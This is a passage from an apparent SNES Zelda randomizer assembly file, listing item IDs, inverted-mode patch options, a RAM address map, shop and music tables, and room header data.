;89 - Compass of Dark Palace
;8A - Compass of Swamp Palace
;8B - Compass of Agahnim's Tower
;8C - Compass of Desert Palace
;8D - Compass of Eastern Palace
;8E - Compass of Hyrule Castle
;8F - Compass of Sewers
;90 - Skull Key
;91 - Reserved
;92 - Big Key of Ganon's Tower
;93 - Big Key of Turtle Rock
;94 - Big Key of Thieves' Town
;95 - Big Key of Tower of Hera
;96 - Big Key of Ice Palace
;97 - Big Key of Skull Woods
;98 - Big Key of Misery Mire
;99 - Big Key of Dark Palace
;9A - Big Key of Swamp Palace
;9B - Big Key of Agahnim's Tower
;9C - Big Key of Desert Palace
;9D - Big Key of Eastern Palace
;9E - Big Key of Hyrule Castle
;9F - Big Key of Sewers
;A0 - Small Key of Sewers
;A1 - Small Key of Hyrule Castle
;A2 - Small Key of Eastern Palace
;A3 - Small Key of Desert Palace
;A4 - Small Key of Agahnim's Tower
;A5 - Small Key of Swamp Palace
;A6 - Small Key of Dark Palace
;A7 - Small Key of Misery Mire
;A8 - Small Key of Skull Woods
;A9 - Small Key of Ice Palace
;AA - Small Key of Tower of Hera
;AB - Small Key of Thieves' Town
;AC - Small Key of Turtle Rock
;AD - Small Key of Ganon's Tower
;AE - Reserved
;AF - Generic Small Key
;================================================================================
;;Residual Portal
;org $0283E0 ; PC 0x103E0 (Bank02.asm:816) (BNE)
;db #$F0 ; #$D0 - Light Only (Default), #$F0 - Dark Only
;org $02B34D ; PC 0x1334D (Bank02.asm:7902) (BNE)
;db #$F0 ; #$D0 - Light Only (Default), #$F0 - Dark Only
;org $06DB78 ; PC 0x35B78 (Bank06.asm:2186) ($24)
;db #$8B ; #$24 - Light Style, #$8B - Dark Style
;;Portal indicator in dark world map
;org $0ABFBB ; Bank0a.asm:1005 (LDA $008A : CMP.b #$40 : BCS BRANCH_BETA)
;db $90 ;$90 (BCC) - Show in Dark World, $B0 (BCS) normal
;;--------------------------------------------------------------------------------
;;Vortexes
;org $05AF79 ; PC 0x2AF79 (sprite_warp_vortex.asm:18) (BNE)
;db #$F0 ; #$D0 - Light Only (Default), #$F0 - Dark Only
;org $0DB3C5 ; PC 0x6B3C5 (sprite_properties.asm:119) ($C4)
;db #$C6 ; #$C4 - Blue Portal, #$C6 - Red Portal
;;--------------------------------------------------------------------------------
;;Duck
;org $07A3F4 ; PC 0x3A3F4 (Bank07.asm:5772) (BNE)
;db #$F0 ; #$D0 - Light Only (Default), #$F0 - Dark Only
;org $02E849 ; PC 0x16849 (Bank02.asm:11641)
;;dw $0003, $0016, $0018, $002C, $002F, $0030, $003B, $003F ; Light World Flute Spots
;dw $0043, $0056, $0058, $006C, $006F, $0070, $007B, $007F ; Dark World Flute Spots
;org $02E8D5 ; PC 0x168D5 (Bank02.asm:11661) ($07B7)
;dw $07C8 ; $07B7 - Normal Location 3 Y (Default), $07C7 - Inverted Location 3 Y
;org $02E8F7; PC 0x168F7 (Bank02.asm:11661) ($07B7)
;dw $01F8 ; $0200 - Normal Location 3 X (Default), $0200 - Inverted Location 3 X
;;--------------------------------------------------------------------------------
;;Mirror
;org $07A943 ; PC 0x3A943 (Bank07.asm:6548) (BNE)
;db #$80 ; #$D0 - Dark-to-Light (Default), #$F0 - Light-to-Dark, #$80 - Both Directions, #$42 - Disabled
;;--------------------------------------------------------------------------------
;;Residual Portal
;org $07A96D ; PC 0x3A96D (Bank07.asm:6578) (BEQ)
;db #$D0 ; #$F0 - Light Side (Default), #$D0 - Dark Side
;;--------------------------------------------------------------------------------
;org $08D40C ; PC 0x4540C (ancilla_morph_poof.asm:48) (BEQ)
;db #$D0 ; #$F0 - Light Side (Default), #$D0 - Dark Side
;;--------------------------------------------------------------------------------
;; Spawn
; org $0280a6 ; <- Bank02.asm : 257 (LDA $7EF3CA : BEQ .inLightWorld)
;db #$D0 ; #F0 - default to light (Default), #$D0 - Default to dark
;;--------------------------------------------------------------------------------
;org $06B2AA ; <- 332AA sprite_smithy_bros.asm : 152 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)
;JSL Sprite_ShowMessageFromPlayerContact ; Inverted uses Sprite_ShowMessageFromPlayerContact
;;---------------------------------------------------------------------------------
org $00886e ; <- Bank00.asm : 1050 (LDA Overworld_TileAttr, X)
LDA Overworld_TileAttr, X ; use "JML InvertedTileAttributeLookup" for inverted
Overworld_GetTileAttrAtLocation_continue:
;================================================================================
org $0DDBEC ; <- 6DBEC
dw #10000 ; Rupee Limit +1
org $0DDBF1 ; <- 6DBF1
dw #9999 ; Rupee Limit
;================================================================================
;2B:Bottle Already Filled w/ Red Potion
;2C:Bottle Already Filled w/ Green Potion
;2D:Bottle Already Filled w/ Blue Potion
;3C:Bottle Already Filled w/ Bee
;3D:Bottle Already Filled w/ Fairy
;48:Bottle Already Filled w/ Gold Bee
;================================================================================
; $2F8000 - $2F83FF - RNG Block
;================================================================================
; $7EC025 - $7EC034 - Item OAM Table
;================================================================================
; $7F5000 - Redraw Flag
; $7F5001 - Flipper Softlock Possible
; $7F5002 - L/R Rotate
; $7F5003 - HexToDec 1st Digit
; $7F5004 - HexToDec 2nd Digit
; $7F5005 - HexToDec 3rd Digit
; $7F5006 - HexToDec 4th Digit
; $7F5007 - HexToDec 5th Digit
; $7F5008 - Skip Sprite_DrawMultiple EOR
; $7F5009 - Always Zero
; $7F5010 - Scratch Space (Callee Preserved)
; $7F5020 - Scratch Space (Caller Preserved)
; $7F5030 - Jar Cursor Status
; $7F5031 - HUD Master Sword Flag
; $7F5032 - Ganon Warp Chain Flag
; $7F5033 - Force Heart Spawn Counter
; $7F5034 - Skip Heart Collection Save Counter
; $7F5035 - Alternate Text Pointer Flag ; 0=Disable
; $7F5036 - Padding Byte (Must be Zero)
; $7F5037 - Stats Boss Kills
; $7F5038 - Stats Lag Time
; $7F5039 - Stats Lag Time
; $7F503A - Stats Lag Time
; $7F503B - Stats Lag Time
; $7F503C - Stats Rupee Total
; $7F503D - Stats Rupee Total
; $7F503E - Stats Item Total
; $7F503F - Bonk Repeat
; $7F5040 - Free Item Dialog Temporary
; $7F5041 - Epilepsy Safety Timer
; $7F5042 - Tile Upload Offset Override (Low)
; $7F5043 - Tile Upload Offset Override (High)
; $7F5044 - $7F5046 - NMI Auxiliary Function
; $7F5047 - $7F504F - Unused
; $7F5050 - $7F506F - Shop Block
; $7F5070 - Reserved for OneMind
; $7F5071 - Reserved for OneMind
; $7F5072 - $7F507D - Unused
; $7F507E - Clock Status
; $7F507F - Always Zero
; $7F5080 - $7F5083 - Clock Hours
; $7F5084 - $7F5087 - Clock Minutes
; $7F5088 - $7F508B - Clock Seconds
; $7F508C - $7F508F - Clock Temporary
; $7F5090 - RNG Item Lock-In
; $7F5091 - Item Animation Busy Flag
; $7F5092 - Potion Animation Busy Flags (Health)
; $7F5093 - Potion Animation Busy Flags (Magic)
; $7F5094 - Dialog Offset Pointer (Low)
; $7F5095 - Dialog Offset Pointer (High)
; $7F5096 - Dialog Offset Pointer Return (Low)
; $7F5097 - Dialog Offset Pointer Return (High)
; $7F5098 - Water Entry Index
; $7F5099 - Last Entered Overworld Door ID
; $7F509A - (Reserved)
; $7F509B - Unused
; $7F509C - Inverted Mode Duck Map Temporary
; $7F509D - Stalfos Bomb Damage Value
; $7F509E - Valid Key Loaded
; $7F509F - Text Box Defer Flag
; $7F50A0 - $7F50AF - MSU Block
; $7F50B0 - $7F50BF - Downstream Reserved (Enemizer)
; $7F50C0 - Sword Modifier
; $7F50C1 - Shield Modifier (Not Implemented)
; $7F50C2 - Armor Modifier
; $7F50C3 - Magic Modifier
; $7F50C4 - Light Cone Modifier
; $7F50C5 - Cucco Storm
; $7F50C6 - Old Man Dash Modifier
; $7F50C7 - Ice Physics Modifier
; $7F50C8 - Infinite Arrows Modifier
; $7F50C9 - Infinite Bombs Modifier
; $7F50CA - Infinite Magic Modifier
; $7F50CB - Invert D-Pad (Fill in values)
; $7F50CC - Temporary OHKO
; $7F50CD - Sprite Swapper
; $7F50CE - Boots Modifier (0=Off, 1=Always, 2=Never)
; $7F50D0 - $7F50FF - Block Cypher Parameters
; $7F5100 - $7F51FF - Block Cypher Buffer
; $7F5200 - $7F52FF - RNG Pointer Block
; $7F5300 - $7F53FF - Multiworld Block
; $7F5400 - $7F56FF - Unused
; $7F5700 - $7F57FF - Dialog Buffer
;
;================================================================================
!BIGRAM = "$7EC900";
; $7EC900 - Big RAM Buffer ($1F00)
;================================================================================
org $30A100 ; PC 0x182100 - 0x182304
EntranceDoorFrameTable:
; data for multi-entrance caves
dw $0816, $0000, $0000, $0000, $0000, $0000, $0000, $0000
dw $0000, $0000, $0000, $0000, $05cc, $05d4, $0bb6, $0b86
dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000
dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000
dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000
dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000
dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000
dw $0000, $0000, $0000
; simple caves:
dw $0000, $0000, $0DE8, $0B98, $14CE, $0000, $1C50, $FFFF
dw $1466, $0000, $1AB6, $0B98, $1AB6, $040E, $9C0C, $1530
dw $0A98, $0000, $0000, $0000, $0000, $0000, $0000, $0816
dw $0DE8, $0000, $0000, $0000, $0000, $09AC, $0000, $0000
dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000
dw $041A, $0000, $091E, $09AC, $0000, $0000, $0000, $0000
dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000
dw $0000, $0AA8, $07AA, $0000, $0000, $0000, $0000, $0000
dw $0000, $0000, $0000, $0000, $0000, $0000
EntranceAltDoorFrameTable:
dw $0000, $01aa, $8124, $87be, $8158, $0000, $0000, $0000
dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000
dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000
dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000
dw $0000, $0000, $0000, $82be, $0000, $0000, $0000, $0000
dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000
dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000
dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000
dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000
dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000
dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000
dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000
dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000
dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000
dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000
dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000
dw $0000
;--------------------------------------------------------------------------------
; 0x182305 - 182FFF (unused)
;================================================================================
org $30B000 ; PC 0x183000 - 0x183054
StartingEquipment:
dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000
dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000
dw $0000, $0000, $0000, $0000, $0000, $0000, $1818, $FF00
dw $0000, $0000, $0000, $0000, $F800, $0000, $0000, $0000
dw $0000, $0000, $0000, $0000, $0000, $0000, $0000, $0000
dw $0000, $0000
;--------------------------------------------------------------------------------
; 0x182355 - 183FFF (unused)
;================================================================================
org $30C000 ; PC 0x184000 - 0x184007
ItemSubstitutionRules:
;db [item][quantity][substitution][pad] - CURRENT LIMIT 16 ENTRIES
db $12, $01, $35, $FF
db $51, $06, $52, $FF
db $53, $06, $54, $FF
db $FF, $FF, $FF, $FF
;--------------------------------------------------------------------------------
; 0x184008 - 0x1847FF (unused)
;================================================================================
;shop_config - tdav --qq
; t - 0=Shop - 1=TakeAny
; d - 0=Check Door - 1=Skip Door Check
; a - 0=Shop/TakeAny - 1=TakeAll
; v - 0=normal vram, 1= alt vram
; qq - # of items for sale
;shopkeeper_config - ppp- -sss
; ppp - palette
; sss - sprite type
org $30C800 ; PC 0x184800 - 0x1848FF - max 32 shops ; do not exceed 36 tracked items sram_index > ($24)
ShopTable:
;db [id][roomID-low][roomID-high][doorID][zero][shop_config][shopkeeper_config][sram_index]
db $01, $15, $01, $5D, $00, $12, $04, $00
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
org $30C900 ; PC 0x184900 - 0x184FFF - max 224 entries
ShopContentsTable:
;db [id][item][price-low][price-high][max][repl_id][repl_price-low][repl_price-high]
db $01, $51, $64, $00, $07, $FF, $00, $00
db $01, $53, $64, $00, $07, $FF, $00, $00
db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF
; Fix spawning with more hearts than capacity when less than 3 heart containers
LowHeartFix:
org $09F4AC ; <- module_death.asm:331
db $08, $08, $10
;--------------------------------------------------------------------------------
; 0x185060 - 1850FF (unused)
;--------------------------------------------------------------------------------
org $30D100 ; PC 0x185100 - 0x18513F
UnusedTable: ; please do not move this - kkat
db $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
db $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
db $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
db $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
db $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
db $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
db $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
db $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
;================================================================================
org $30D800 ; PC 0x185800 - 0x18591F
MSUTrackList:
db $01,$03,$03,$03,$03,$03,$03,$01
db $03,$01,$03,$03,$03,$03,$03,$03
db $03,$03,$01,$03,$03,$03,$03,$03
db $01,$01,$03,$03,$01,$03,$03,$03
db $01,$01,$03,$03,$03,$03,$03,$03
db $03,$03,$03,$03,$03,$03,$03,$03
db $03,$03,$03,$03,$03,$03,$03,$03
db $03,$03,$03,$03,$03,$00,$00,$00
MSUExtendedFallbackList:
db $01,$02,$03,$04,$05,$06,$07,$08
db $09,$0A,$0B,$0C,$0D,$0E,$0D,$10
db $11,$12,$13,$14,$15,$16,$17,$18
db $19,$1A,$1B,$1C,$1D,$1E,$1F,$20
db $21,$22,$11,$11,$10,$16,$16,$16
db $16,$16,$11,$16,$16,$16,$15,$15
db $15,$15,$15,$15,$15,$15,$15,$15
db $15,$15,$16,$02,$09,$00,$00,$00
MusicShuffleTable:
db $01,$02,$03,$04,$05,$06,$07,$08
db $09,$0A,$0B,$0C,$0D,$0E,$0F,$10
db $11,$12,$13,$14,$15,$16,$17,$18
db $19,$1A,$1B,$1C,$1D,$1E,$1F,$20
db $21,$22,$23,$24,$25,$26,$27,$28
db $29,$2A,$2B,$2C,$2D,$2E,$2F,$30
db $31,$32,$33,$34,$35,$36,$37,$38
db $39,$3A,$3B,$3C,$3D,$3E,$3F,$40
MSUDungeonFallbackList:
dw Music_Sewer
dw Music_Castle
dw Music_Eastern
dw Music_Desert
dw Music_AgaTower
dw Music_Swamp
dw Music_Darkness
dw Music_Mire
dw Music_Skull
dw Music_Ice
dw Music_Hera
dw Music_Thieves
dw Music_TRock
dw Music_GTower
dw $0000
dw $0000
;--------------------------------------------------------------------------------
; 0x185920 - 1859FF (Reserved)
;--------------------------------------------------------------------------------
;--------------------------------------------------------------------------------
; 0x185A00 - 186BFF (room headers)
;--------------------------------------------------------------------------------
; BG2PROP
; PALETTE
; BLKSET
; SPRSET
; BGMOVE
; EFFECT1
; EFFECT2
; PLANES1
; PLANES2
; WARP
; STAIRS1
; STAIRS2
; STAIRS3
; STAIRS4
;--------------------------------------------------------------------------------
org $30DA00 : RoomHeader_0000: ; pc 0x185A00
db $41, $21, $13, $22, $07, $3D, $00, $00, $00, $10, $C0, $00, $00, $04
org $30DA0E : RoomHeader_0001: ; pc 0x185A0E
db $C0, $00, $00, $04, $00, $00, $00, $00, $00, $00, $72, $00, $50, $52
org $30DA1C : RoomHeader_0002: ; pc 0x185A1C
db $C0, $1D, $04, $06, $00, $14, $00, $00, $00, $00, $11, $00, $18, $0D
org $30DA2A : RoomHeader_0003: ; pc 0x185A2A
db $C0, $07, $06, $19, $00, $00, $00, $00, $0C, $02, $12, $00, $00, $00
org $30DA38 : RoomHeader_0004: ; pc 0x185A38
db $00, $18, $0D, $26, $00, $26, $14, $00, $00, $00, $B5, $00, $08, $08
org $30DA46 : RoomHeader_0005: ; pc 0x185A46
db $00, $08, $08, $14, $00, $25, $00, $20, $06, $05, $0C, $00, $25, $00
org $30DA54 : RoomHeader_0006: ; pc 0x185A54
db $00, $08, $08, $14, $00, $25, $00, $20, $06, $05, $0C, $00, $25, $00
org $30DA62 : RoomHeader_0007: ; pc 0x185A62
db $20, $06, $05, $0C, $00, $25, $00, $00, $00, $17, $17, $C0, $07, $06
org $30DA70 : RoomHeader_0008: ; pc 0x185A70
db $C0, $07, $06, $07, $00, $00, $00, $00, $0F, $07, $19, $00, $27, $00
org $30DA7E : RoomHeader_0009: ; pc 0x185A7E
db $00, $0F, $07, $19, $00, $27, $00, $00, $00, $4B, $4A, $4A, $00, $0F
org $30DA8C : RoomHeader_000A: ; pc 0x185A8C
db $00, $0F, $07, $19, $00, $27, $00, $00, $00, $09, $3A, $01, $0F, $07
org $30DA9A : RoomHeader_000B: ; pc 0x185A9A
db $01, $0F, $07, $19, $00, $03, $00, $00, $00, $6A, $1B, $C0, $28, $0E
org $30DAA8 : RoomHeader_000C: ; pc 0x185AA8
db $C0, $28, $0E, $13, $00, $00, $00, $00, $00, $00, $6B, $8C, $8C, $40
org $30DAB6 : RoomHeader_000D: ; pc 0x185AB6
db $40, $1B, $0E, $18, $05, $38, $00, $00, $13, $0B, $1C, $00, $08, $00
org $30DAC4 : RoomHeader_000E: ; pc 0x185AC4
db $00, $13, $0B, $1C, $00, $08, $00, $00, $00, $00, $1E, $00, $21, $13
org $30DAD2 : RoomHeader_000F: ; pc 0x185AD2
db $00, $21, $13, $22, $00, $00, $00, $00, $01, $01, $01, $00, $00, $00
org $30DAE0 : RoomHeader_0010: ; pc 0x185AE0
db $00, $21, $13, $22, $00, $00, $00, $00, $01, $01, $01, $00, $00, $00
org $30DAEE : RoomHeader_0011: ; pc 0x185AEE
db $00, $01, $01, $01, $00, $00, $00, $08, $00, $00, $02, $C0, $1D, $04
org $30DAFC : RoomHeader_0012: ; pc 0x185AFC
db $C0, $1D, $04, $06, $00, $00, $00, $00, $18, $0D, $26, $00, $00, $00
org $30DB0A : RoomHeader_0013: ; pc 0x185B0A
db $00, $18, $0D, $26, $00, $00, $00, $00, $18, $0D, $1E, $00, $00, $00
org $30DB18 : RoomHeader_0014: ; pc 0x185B18
db $20, $18, $0D, $26, $00, $00, $00, $C0, $18, $0D, $26, $00, $00, $00
org $30DB26 : RoomHeader_0015: ; pc 0x185B26
db $C0, $18, $0D, $26, $00, $00, $00, $00, $00, $00, $B6, $90, $08, $08
org $30DB34 : RoomHeader_0016: ; pc 0x185B34
db $90, $08, $08, $11, $03, $00, $00, $00, $00, $00, $66, $20, $06, $05
org $30DB42 : RoomHeader_0017: ; pc 0x185B42
db $20, $06, $05, $19, $00, $35, $00, $00, $00, $27, $07, $27, $01, $0F
org $30DB50 : RoomHeader_0018: ; pc 0x185B50
db $00, $07, $06, $07, $00, $00, $00, $00, $22, $12, $07, $00, $00, $00
org $30DB5E : RoomHeader_0019: ; pc 0x185B5E
db $01, $0F, $07, $19, $00, $00, $00, $00, $0F, $07, $19, $00, $16, $00
org $30DB6C : RoomHeader_001A: ; pc 0x185B6C
db $00, $0F, $07, $19, $00, $16, $00, $00, $00, $00, $6A, $6A, $68, $0F
org $30DB7A : RoomHeader_001B: ; pc 0x185B7A
db $68, $0F, $07, $08, $00, $03, $1C, $00, $00, $00, $0B, $00, $1A, $0E
org $30DB88 : RoomHeader_001C: ; pc 0x185B88
db $00, $1A, $0E, $09, $00, $04, $3F, $00, $00, $00, $8C, $00, $1B, $0E
org $30DB96 : RoomHeader_001D: ; pc 0x185B96
db $00, $1B, $0E, $18, $00, $00, $00, $00, $00, $00, $4C, $20, $13, $0B
org $30DBA4 : RoomHeader_001E: ; pc 0x185BA4
db $20, $13, $0B, $1C, $00, $17, $00, $00, $00, $3E, $0E, $00, $13, $0B
org $30DBB2 : RoomHeader_001F: ; pc 0x185BB2
db $00, $13, $0B, $29, $00, $17, $00, $00, $00, $00, $3F, $20, $0C, $02
org $30DBC0 : RoomHeader_0020: ; pc 0x185BC0
db $20, $0C, $02, $12, $00, $15, $25, $01, $01, $01, $01, $00, $00, $00
org $30DBCE : RoomHeader_0021: ; pc 0x185BCE
db $01, $01, $01, $01, $00, $00, $00, $00, $18, $0D, $26, $00, $01, $00
org $30DBDC : RoomHeader_0022: ; pc 0x185BDC
db $01, $01, $01, $01, $00, $00, $00, $00, $18, $0D, $26, $00, $01, $00
org $30DBEA : RoomHeader_0023: ; pc 0x185BEA
db $00, $18, $0D, $26, $00, $00, $00, $00, $18, $0D, $1E, $00, $00, $00
org $30DBF8 : RoomHeader_0024: ; pc 0x185BF8
db $00, $18, $0D, $26, $00, $01, $00, $00, $0A, $08, $11, $00, $16, $00
org $30DC06 : RoomHeader_0025: ; pc 0x185C06
db $00, $0A, $08, $11, $00, $16, $00, $00, $00, $00, $76, $76, $76, $20
org $30DC14 : RoomHeader_0026: ; pc 0x185C14
db $00, $0A, $08, $11, $00, $16, $00, $00, $00, $00, $76, $76, $76, $20
org $30DC22 : RoomHeader_0027: ; pc 0x185C22
db $20, $06, $05, $19, $00, $36, $00, $00, $00, $31, $17, $31, $80, $0A
org $30DC30 : RoomHeader_0028: ; pc 0x185C30
db $80, $0A, $08, $11, $00, $32, $1B, $00, $00, $00, $38, $CC, $0E, $09
org $30DC3E : RoomHeader_0029: ; pc 0x185C3E
db $CC, $0E, $09, $1A, $02, $25, $00, $00, $0F, $07, $19, $00, $00, $00
org $30DC4C : RoomHeader_002A: ; pc 0x185C4C
db $00, $0F, $07, $19, $00, $00, $00, $C0, $0F, $07, $2B, $00, $16, $00
org $30DC5A : RoomHeader_002B: ; pc 0x185C5A
db $C0, $0F, $07, $2B, $00, $16, $00, $00, $00, $00, $3B, $00, $13, $0B
org $30DC68 : RoomHeader_002C: ; pc 0x185C68
db $00, $07, $06, $07, $00, $00, $00, $00, $22, $12, $07, $00, $00, $00
org $30DC76 : RoomHeader_002D: ; pc 0x185C76
db $00, $13, $0B, $1C, $00, $2A, $00, $C0, $07, $06, $19, $00, $00, $00
org $30DC84 : RoomHeader_002E: ; pc 0x185C84
db $00, $13, $0B, $1C, $00, $2A, $00, $C0, $07, $06, $19, $00, $00, $00
org $30DC92 : RoomHeader_002F: ; pc 0x185C92
db $C0, $07, $06, $19, $00, $00, $00, $00, $0C, $02, $12, $00, $00, $00
org $30DCA0 : RoomHeader_0030: ; pc 0x185CA0
db $00, $0C, $02, $12, $00, $00, $00, $00, $00, $00, $40, $20, $06, $05
org $30DCAE : RoomHeader_0031: ; pc 0x185CAE
db $20, $06, $05, $19, $00, $37, $04, $22, $00, $77, $27, $77, $01, $01
org $30DCBC : RoomHeader_0032: ; pc 0x185CBC
db $01, $01, $01, $01, $00, $00, $00, $00, $00, $00, $42, $00, $04, $05
org $30DCCA : RoomHeader_0033: ; pc 0x185CCA
db $00, $04, $05, $0B, $00, $15, $25, $80, $0A, $08, $11, $00, $00, $00
org $30DCD8 : RoomHeader_0034: ; pc 0x185CD8
db $80, $0A, $08, $11, $00, $00, $00, $00, $00, $00, $54, $80, $0A, $08
org $30DCE6 : RoomHeader_0035: ; pc 0x185CE6
db $80, $0A, $08, $11, $00, $00, $19, $80, $0A, $08, $11, $00, $00, $00
org $30DCF4 : RoomHeader_0036: ; pc 0x185CF4
db $80, $0A, $08, $11, $00, $00, $00, $80, $0A, $08, $11, $00, $00, $00
org $30DD02 : RoomHeader_0037: ; pc 0x185D02
db $80, $0A, $08, $11, $00, $00, $19, $80, $0A, $08, $11, $00, $00, $00
org $30DD10 : RoomHeader_0038: ; pc 0x185D10
db $80, $0A, $08, $11, $00, $00, $00, $00, $00, $00, $28, $20, $0D, $09
org $30DD1E : RoomHeader_0039: ; pc 0x185D1E
db $20, $0D, $09, $13, $00, $00, $00, $00, $00, $29, $20, $0F, $07, $19
org $30DD2C : RoomHeader_003A: ; pc 0x185D2C
db $20, $0F, $07, $19, $00, $00, $00, $00, $00, $0A, $0A, $00, $0F, $07
org $30DD3A : RoomHeader_003B: ; pc 0x185D3A
db $00, $0F, $07, $08, $00, $00, $00, $00, $00, $00, $2B, $00, $07, $06
org $30DD48 : RoomHeader_003C: ; pc 0x185D48
db $00, $07, $06, $13, $00, $00, $00, $20, $1A, $0E, $0C, $00, $33, $00
org $30DD56 : RoomHeader_003D: ; pc 0x185D56
db $20, $1A, $0E, $0C, $00, $33, $00, $00, $00, $96, $96, $CC, $13, $0B
org $30DD64 : RoomHeader_003E: ; pc 0x185D64
db $CC, $13, $0B, $29, $02, $02, $00, $00, $00, $00, $1E, $00, $13, $0B
org $30DD72 : RoomHeader_003F: ; pc 0x185D72
db $00, $13, $0B, $29, $00, $27, $14, $00, $00, $00, $1F, $5F, $C0, $00
org $30DD80 : RoomHeader_0040: ; pc 0x185D80
db $C0, $00, $02, $27, $00, $00, $00, $00, $00, $00, $30, $B0, $01, $00
org $30DD8E : RoomHeader_0041: ; pc 0x185D8E
db $01, $00, $00, $02, $00, $13, $00, $00, $00, $00, $42, $01, $01, $01
org $30DD9C : RoomHeader_0042: ; pc 0x185D9C
db $01, $01, $01, $01, $00, $00, $00, $00, $00, $00, $41, $32, $68, $04
org $30DDAA : RoomHeader_0043: ; pc 0x185DAA
db $68, $04, $05, $0A, $00, $00, $1D, $00, $17, $0A, $1B, $00, $01, $00
org $30DDB8 : RoomHeader_0044: ; pc 0x185DB8
db $00, $17, $0A, $1B, $00, $01, $00, $60, $17, $0A, $1B, $00, $01, $00
org $30DDC6 : RoomHeader_0045: ; pc 0x185DC6
db $60, $17, $0A, $1B, $00, $01, $00, $00, $00, $00, $BC, $00, $0A, $08
org $30DDD4 : RoomHeader_0046: ; pc 0x185DD4
db $00, $0A, $08, $11, $00, $3C, $00, $00, $0D, $09, $13, $00, $33, $34
org $30DDE2 : RoomHeader_0047: ; pc 0x185DE2
db $00, $0D, $09, $13, $00, $33, $34, $00, $0F, $07, $19, $00, $17, $00
org $30DDF0 : RoomHeader_0048: ; pc 0x185DF0
db $00, $0D, $09, $13, $00, $33, $34, $00, $0F, $07, $19, $00, $17, $00
org $30DDFE : RoomHeader_0049: ; pc 0x185DFE
db $00, $0D, $09, $13, $00, $33, $34, $00, $0F, $07, $19, $00, $17, $00
org $30DE0C : RoomHeader_004A: ; pc 0x185E0C
db $00, $0F, $07, $19, $00, $17, $00, $00, $00, $00, $09, $09, $00, $0F
org $30DE1A : RoomHeader_004B: ; pc 0x185E1A
db $00, $0F, $07, $08, $00, $01, $00, $00, $00, $09, $00, $1A, $0E, $0C
org $30DE28 : RoomHeader_004C: ; pc 0x185E28
db $00, $1A, $0E, $0C, $00, $00, $00, $00, $00, $00, $1D, $20, $1A, $0E
org $30DE36 : RoomHeader_004D: ; pc 0x185E36
db $20, $1A, $0E, $0C, $00, $32, $3F, $00, $00, $A6, $A6, $00, $13, $0B
org $30DE44 : RoomHeader_004E: ; pc 0x185E44
db $00, $13, $0B, $29, $00, $17, $00, $00, $00, $00, $6E, $00, $13, $0B
org $30DE52 : RoomHeader_004F: ; pc 0x185E52
db $00, $13, $0B, $1C, $00, $00, $00, $00, $00, $BE, $C0, $00, $00, $04
org $30DE60 : RoomHeader_0050: ; pc 0x185E60
db $C0, $00, $00, $04, $00, $00, $00, $00, $00, $00, $00, $00, $01, $01
org $30DE6E : RoomHeader_0051: ; pc 0x185E6E
db $C0, $00, $00, $03, $00, $00, $00, $00, $00, $00, $61, $C0, $00, $00
org $30DE7C : RoomHeader_0052: ; pc 0x185E7C
db $C0, $00, $00, $04, $00, $00, $00, $00, $00, $00, $00, $00, $01, $01
org $30DE8A : RoomHeader_0053: ; pc 0x185E8A
db $C0, $04, $05, $0A, $00, $03, $00, $00, $00, $00, $63, $20, $0A, $08
org $30DE98 : RoomHeader_0054: ; pc 0x185E98
db $20, $0A, $08, $11, $00, $00, $00, $00, $00, $34, $34, $01, $01, $10
org $30DEA6 : RoomHeader_0055: ; pc 0x185EA6
db $01, $01, $10, $0D, $00, $00, $00, $00, $0D, $09, $13, $00, $23, $00
org $30DEB4 : RoomHeader_0056: ; pc 0x185EB4
db $00, $0D, $09, $13, $00, $23, $00, $00, $0D, $09, $13, $00, $16, $00
org $30DEC2 : RoomHeader_0057: ; pc 0x185EC2
db $00, $0D, $09, $13, $00, $16, $00, $00, $0D, $09, $13, $00, $21, $28
org $30DED0 : RoomHeader_0058: ; pc 0x185ED0
db $00, $0D, $09, $13, $00, $21, $28, $C0, $0D, $09, $13, $00, $00, $00
org $30DEDE : RoomHeader_0059: ; pc 0x185EDE
db $C0, $0D, $09, $13, $00, $00, $00, $00, $10, $07, $15, $00, $25, $00
org $30DEEC : RoomHeader_005A: ; pc 0x185EEC
db $00, $10, $07, $15, $00, $25, $00, $C0, $1B, $0E, $0A, $00, $17, $00
org $30DEFA : RoomHeader_005B: ; pc 0x185EFA
db $C0, $1B, $0E, $0A, $00, $17, $00, $00, $1B, $0E, $0A, $00, $00, $00
org $30DF08 : RoomHeader_005C: ; pc 0x185F08
db $00, $1B, $0E, $0A, $00, $00, $00, $00, $00, $00, $5D, $00, $24, $0E
org $30DF16 : RoomHeader_005D: ; pc 0x185F16
db $00, $24, $0E, $23, $00, $09, $00, $00, $00, $00, $5C, $20, $13, $0B
